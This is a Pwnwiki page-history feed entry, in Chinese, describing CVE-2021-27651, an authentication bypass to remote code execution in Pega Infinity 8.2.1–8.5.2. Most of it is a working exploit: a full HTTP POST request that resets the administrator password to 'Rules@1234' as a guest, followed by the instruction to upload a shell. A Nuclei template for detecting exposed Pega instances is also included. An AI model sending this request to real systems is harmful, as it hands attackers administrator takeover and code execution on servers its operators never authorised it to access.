https://pwnwiki.com/index.php?action=history&feed=atom&title=CVE-2021-27651_PEGA_pega_infinity_%E6%8E%88%E6%AC%8A%E8%AA%8D%E8%AD%89%E7%B9%9E%E9%81%8ERCE%E6%BC%8F%E6%B4%9E 2026-04-16T21:38:42Z Revision history for this page on the wiki MediaWiki 1.35.1 https://pwnwiki.com/index.php?title=CVE-2021-27651_PEGA_pega_infinity_%E6%8E%88%E6%AC%8A%E8%AA%8D%E8%AD%89%E7%B9%9E%E9%81%8ERCE%E6%BC%8F%E6%B4%9E&diff=3032&oldid=prev 2021-05-22T02:16:16Z

<p>Created page with &quot;==影響版本== &lt;pre&gt; Pega Infinity &gt; = 8.2.1 Pega Infinity &lt;= 8.5.2 &lt;/pre&gt; ==漏洞利用== 1.訪問任何實例登錄頁面，使用&quot;administrator@pega.com&quot;進行重置密...&quot;</p> <p><b>New page</b></p><div>==影響版本==<br /> &lt;pre&gt;<br /> Pega Infinity &gt; = 8.2.1<br /> Pega Infinity &lt;= 8.5.2<br /> &lt;/pre&gt;<br /> <br /> ==漏洞利用==<br /> 1.訪問任何實例登錄頁面，使用&quot;administrator@pega.com&quot;進行重置密碼進行登錄,PoC如下，重置密碼為：Rules@1234進行登錄後上傳shell進行rce。<br /> &lt;pre&gt;<br /> POST /prweb/PRServlet/app/default/:PEGA_ID*/!STANDARD HTTP/1.1 (:PEGA_ID is a unique ID for each site, it is in this format: ZOgwf2Zk3OsEg_oG74MXXxG2bXKbv56W)<br /> Host: redacted.com<br /> User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:85.0) Gecko/20100101 Firefox/85.0<br /> Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8<br /> Accept-Language: en-US,en;q=0.5<br /> Accept-Encoding: gzip, deflate<br /> Content-Type: application/x-www-form-urlencoded<br /> Content-Length: 112<br /> Origin: https://redacted.com<br /> DNT: 1<br /> Connection: close<br /> Referer: https://redacted.com/prweb/PRServlet/app/default/:PEGA_ID*/!STANDARD<br /> Cookie: yourCookie<br /> Upgrade-Insecure-Requests: 1<br /> <br /> pzAuth=guest&amp;NewPassword=Rules%401234&amp;ConfPassword=Rules%401234&amp;pyActivity%3DCode-Security.pzChangeUserPassword=<br /> <br /> &lt;/pre&gt;<br /> <br /> Nuclei Template：<br /> &lt;pre&gt;<br /> id: pega<br /> <br /> info:<br /> name: Pega Infinity Login<br /> author: sshell<br /> severity: low<br /> <br /> requests:<br /> - method: GET<br /> path:<br /> - &quot;{{BaseURL}}/prweb/PRRestService/unauthenticatedAPI/v1/docs&quot;<br /> headers:<br /> User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55<br /> matchers:<br /> - type: word<br /> words:<br /> - &quot;Pega API&quot;<br /> <br /> <br /> &lt;/pre&gt;</div>

Pwnwiki